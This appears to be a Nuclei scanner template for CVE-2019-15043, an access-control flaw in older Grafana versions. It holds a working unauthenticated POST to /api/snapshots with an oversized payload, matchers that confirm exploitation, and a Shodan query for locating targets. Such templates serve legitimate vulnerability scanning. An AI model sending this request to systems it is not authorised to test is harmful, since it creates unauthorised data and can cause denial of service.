60 lines
1.6 KiB
YAML
60 lines
1.6 KiB
YAML
id: CVE-2019-15043
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info:
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name: Grafana - Improper Access Control
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author: Joshua Rogers
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severity: high
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description: |
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Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.
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reference:
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- https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569
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- https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/
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- https://bugzilla.redhat.com/show_bug.cgi?id=1746945
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- https://aaron-hoffmann.com/posts/cve-2019-15043/
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043
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- https://nvd.nist.gov/vuln/detail/CVE-2019-15043
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remediation: Upgrade to 6.3.4 or higher.
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 7.5
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cve-id: CVE-2019-15043
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cwe-id: CWE-284
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metadata:
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max-request: 1
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shodan-query: title:"Grafana"
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verified: true
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tags: cve,cve2019,grafana,dos,intrusive
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variables:
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payload: '{{repeat("A", 4000)}}'
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http:
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- method: POST
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path:
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- "{{BaseURL}}/api/snapshots"
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headers:
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Content-Type: application/json
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body: '{"dashboard": {"name":"{{payload}}"}}'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"deleteUrl":'
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- '"deleteKey":'
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- '"key":'
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- '"url":'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 200
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# Enhanced by md on 2023/04/12
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